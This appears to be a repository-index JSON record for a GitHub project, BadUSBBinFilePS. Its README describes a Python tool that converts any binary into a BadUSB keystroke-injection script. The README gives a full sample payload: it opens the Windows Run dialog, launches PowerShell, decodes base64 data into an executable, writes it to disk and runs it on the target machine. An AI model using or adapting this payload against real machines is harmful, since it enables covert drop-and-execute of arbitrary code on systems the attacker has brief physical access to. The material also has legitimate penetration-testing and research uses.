{"id":20761815,"url":"https://github.com/james-p-d/badusbbinfileps","last_synced_at":"2026-02-19T15:35:52.189Z","repository":{"id":228087794,"uuid":"773091490","full_name":"James-P-D/BadUSBBinFilePS","owner":"James-P-D","description":"Small program for generating BadUSB script that generates binary files in Python","archived":false,"fork":false,"pushed_at":"2025-08-25T17:46:40.000Z","size":25435,"stargazers_count":3,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-08-25T19:32:07.994Z","etag":null,"topics":["bad-usb","badusb","badusb-payloads","flipper-zero","flipperzero"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/James-P-D.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-03-16T18:11:06.000Z","updated_at":"2025-08-25T17:46:44.000Z","dependencies_parsed_at":"2025-01-18T05:32:18.285Z","dependency_job_id":"36285fdc-4400-4e1b-89e3-64b91379dddf","html_url":"https://github.com/James-P-D/BadUSBBinFilePS","commit_stats":null,"previous_names":["james-p-d/badusbbinfileps"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/James-P-D/BadUSBBinFilePS","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/James-P-D%2FBadUSBBinFilePS","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/James-P-D%2FBadUSBBinFilePS/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/James-P-D%2FBadUSBBinFilePS/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/James-P-D%2FBadUSBBinFilePS/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/James-P-D","download_url":"https://codeload.github.com/James-P-D/BadUSBBinFilePS/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/James-P-D%2FBadUSBBinFilePS/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29620144,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-19T13:04:20.082Z","status":"ssl_error","status_checked_at":"2026-02-19T13:03:33.775Z","response_time":117,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bad-usb","badusb","badusb-payloads","flipper-zero","flipperzero"],"created_at":"2024-11-17T10:26:30.508Z","updated_at":"2026-02-19T15:35:52.184Z","avatar_url":"https://github.com/James-P-D.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# BadUSBBinFilePS\nSmall program for generating BadUSB script that generates binary files in Python\n\n![Screenshot](https://github.com/James-P-D/BadUSBBinFilePS/blob/main/screenshot.gif)\n\n## Introduction\n\nWhen using [BadUSB](https://en.wikipedia.org/wiki/BadUSB) it is sometimes necessary to get a binary file onto the target machine. Unless the ducky device you are using can double up as an HID input *and* an external drive, you typically need to download the binary file from some online source, usually over HTTP(S). As a workaround for this, I decided to create a short Python script which could generate a BadUSB script which included the base64-encoded data for the binary file and was decoded in Powershell.\n\n## Usage\n\nRunning the script with arguments produces:\n\n```\nPython main.py BINARY_FILE OUTPUT_BAD_USB_FILE\nE.G.\nPython main.py helloworld.exe bad_usb_test.txt\n```\n\nSo to run it simply supply the arguments for the binary file to encode, and name of the BadUSB script file to be created.\n\nThe outputted file will look something like this:\n\n```\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nSTRING $b64str = 'TVqQAAMAAAAEAAAA.....[Lots more data]'\nENTER\nSTRING $bytes = [Convert]::FromBase64String($b64str)\nENTER\nDELAY 500\nSTRING [io.file]::WriteAllBytes('helloworld.exe', $bytes)\nENTER\nDELAY 500\nSTRING ./helloworld.exe\nENTER\n```\n\nWhen run on the target Windows machine it will \u003ckbd\u003eWIN\u003c/kbd\u003e+\u003ckbd\u003er\u003c/kbd\u003e to open the 'run' dialog, then start `powershell`, then decode the base64-encoded data and save to file, and then finally run the executable. The execution of this script can be seen in the video at the top of this file.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjames-p-d%2Fbadusbbinfileps","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjames-p-d%2Fbadusbbinfileps","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjames-p-d%2Fbadusbbinfileps/lists"}